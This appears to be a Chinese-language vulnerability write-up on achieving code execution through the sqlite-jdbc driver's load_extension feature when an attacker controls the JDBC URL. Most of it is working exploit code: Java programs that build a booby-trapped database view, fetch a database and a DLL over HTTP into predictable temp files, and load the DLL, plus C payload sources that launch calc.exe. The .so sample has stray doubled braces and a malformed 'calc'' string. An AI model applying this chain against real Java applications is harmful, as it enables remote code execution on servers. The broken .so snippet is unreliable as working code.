漏洞成因

org.sqlite.SQLiteConfig中

load\_extension()这个加载dll的开关,可以通过jdbc控制

jdbc:sqlite:file:"+db+"?enable_load_extension=true

select load_extension('"+dll+"','dllmain')

image

Gen.Java文件

package org.example;

import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
    public static void main(String[] args) {

        try {
            String dbFile = "poc.db";
            File file = new File(dbFile);
            Class.forName("org.sqlite.JDBC");
            Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
            System.out.println("Opened database successfully");


            String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-1097580145.db','dllmain'));";  //向其中插入传入的三个参数
            PreparedStatement preStmt = conn.prepareStatement(sql);

            preStmt.executeUpdate();
            preStmt.close();
            conn.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

Test1.java文件

package org.example;

import org.sqlite.SQLiteConfig;

import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Test1 {
    public static void main(String[] args) throws Exception{

        Class.forName("org.sqlite.JDBC");
        SQLiteConfig config = new SQLiteConfig();
        config.enableLoadExtension(true);
        String url1 = "http://127.0.0.1:9999/poc.db";
        String url2 = "http://127.0.0.1:9999/exp1.dll";
        String tmp = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp";
        String tmp1 = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-";
        String db = tmp1 + new URL(url1).hashCode() + ".db";
        String dll = tmp1 + new URL(url2).hashCode() + ".db";
        System.out.println(db);
        System.out.println(dll);
        new File(db).delete();
        new File(dll).delete();

        DriverManager.getConnection("jdbc:sqlite::resource:"+url2,config.toProperties()).close();
        DriverManager.getConnection("jdbc:sqlite::resource:"+url1,config.toProperties()).close();

        Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");
        Statement stmt = conn.createStatement();

        String sql = "select load_extension('"+dll+"','dllmain')";
        stmt.execute(sql);
    }
}

Dll、So文件

//gcc -shared -o exp.dll exp.c -lws2_32
#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void dllmain() {
    system("calc.exe");
}

static char waste[500 * 1024] = {2};
//gcc -shared -fPIC exp.c -o exp.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("calc'");
}}

void space() {{
    // this just exists so the resulting binary is > 500kB
         static char waste[500 * 1024] = {{2}};
}}

企业微信截图_1769511006542

但这种控制了jdbc,还要控制sql语句的环境显然并不理想。如果jdbc就可以执行load\_extension()就好了。但是sqlite无法通过jdbc进行多语句或者PRAGMA的注入,所以看起来整体似乎是个非常鸡肋的漏洞。

可以注意我们使用的Sql语句为select load_extension('"+dll+"','dllmain')

但其实查看我们Gen代码生成的poc.db,指定生成的临时db文件,将我们使用的sql语句修改为select * from security也可以执行(低版本3.21.0.1测试成功,高版本好像不行)。

image

image

文章目录